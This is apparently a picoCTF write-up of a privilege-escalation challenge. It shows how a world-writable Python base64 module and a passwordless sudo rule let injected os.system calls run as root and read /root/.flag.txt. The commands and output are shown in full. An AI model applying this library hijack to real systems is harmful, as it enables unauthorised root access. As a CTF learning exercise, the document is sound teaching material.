200 points
Category: Binary Exploitation
Tags : #python #privilegeescalation #libraryhijack
Getting root access can allow you to read the flag. Luckily there is a python file that you might like to play with. Through Social engineering, we've got the credentials to use on the server. SSH is running on the server.
Listing the contents of the home folder on the challenge instance :
drwxr-xr-x 1 picoctf picoctf 20 Mar 27 06:35 .
drwxr-xr-x 1 root root 21 Mar 16 02:08 ..
-rw-r--r-- 1 picoctf picoctf 220 Feb 25 2020 .bash_logout
-rw-r--r-- 1 picoctf picoctf 3771 Feb 25 2020 .bashrc
drwx------ 2 picoctf picoctf 34 Mar 27 06:35 .cache
-rw-r--r-- 1 picoctf picoctf 807 Feb 25 2020 .profile
-rw-r--r-- 1 root root 375 Mar 16 01:30 .server.py
The hidden .server.py
python script is the file of interest referred to in the description. Note this file is owned by root
and permissions do not allow for editing. There is no typical flag.txt
file or similar in sight.
The contents of the .server.py
python script is as below, with nothing overly nefarious looking within :
import base64
import os
import socket
ip = 'picoctf.org'
response = os.system("ping -c 1 " + ip)
#saving ping details to a variable
host_info = socket.gethostbyaddr(ip)
#getting IP from a domaine
host_info_to_str = str(host_info[2])
host_info = base64.b64encode(host_info_to_str.encode('ascii'))
print("Hello, this is a part of information gathering",'Host: ', host_info)
Executing the python script yields :
picoctf@challenge:~$ python3 .server.py
sh: 1: ping: not found
Traceback (most recent call last):
File ".server.py", line 7, in <module>
host_info = socket.gethostbyaddr(ip)
socket.gaierror: [Errno -5] No address associated with hostname
Initially I spent a long time trying to construct a fake ping
command to take place of the missing binary, but without much success so I started looking more closely at the python modules imported and the potential for a hijacking.
First step was to find the location of the modules in use :
picoctf@challenge:~$ python3
Python 3.8.10 (default, Nov 14 2022, 12:59:47)
[GCC 9.4.0] on linux
Type "help", "copyright", "credits" or "license" for more information.
>>> import sys
>>> print(sys.path)
['', '/usr/lib/python38.zip', '/usr/lib/python3.8', '/usr/lib/python3.8/lib-dynload', '/usr/local/lib/python3.8/dist-packages', '/usr/lib/python3/dist-packages']
>>> quit()
Looking at the permissions of the base64
module within /usr/lib/python3.8
we have full read-write-execute access.
picoctf@challenge:~$ ls -al /usr/lib/python3.8
-rwxrwxrwx 1 root root 20382 Nov 14 12:59 base64.py
So we could modify the imported base64
module with our own code, but what held me up next was attempting to facilitate the execution of the .server.py
script to the base64.b64encode()
function, where I would put all my code. I looked into attempting to adding hosts to try and resolve the host information and allow execution to continue beyond the socket.gethostbyadd(ip)
call.
But then I realised that all code within the imported module is executed upon import, I didn't have to wait for the use of base64.b64encode()
function, I could add my code to the top of the base64
module and it would get executed on import.
This left the remaining piece of the puzzle, how to escalate privileges to be able to run as root
. So I checked what commands could be run via sudo
:
picoctf@challenge:~$ sudo -l
Matching Defaults entries for picoctf on challenge:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User picoctf may run the following commands on challenge:
(ALL) /usr/bin/vi
(root) NOPASSWD: /usr/bin/python3 /home/picoctf/.server.py
Notice our .server.py
script can be run via sudo
without password.
The solution below includes my prototyping, proof of concept and exploration to confirm privelige escalation and to assist in finding the flag, hence is not a "minimal" solution, but is presented as was used during the event.
The following lines were added to the top of /lib/python3.8/base64.py
:
import os
print('Hello World!')
os.system('whoami')
os.system('ls -al /root > /home/picoctf/r.txt')
os.system('cat /root/.flag.txt')
Now running the .server.py
script with the modified base64
import module yields the following output (actual flag value has been redacted for the purposes of this write up) :
$ sudo python3 /home/picoctf/.server.py
Hello World!
root
picoCTF{.......<redacted>...............}
sh: 1: ping: not found
Traceback (most recent call last):
File "/home/picoctf/.server.py", line 7, in <module>
host_info = socket.gethostbyaddr(ip)
socket.gaierror: [Errno -5] No address associated with hostname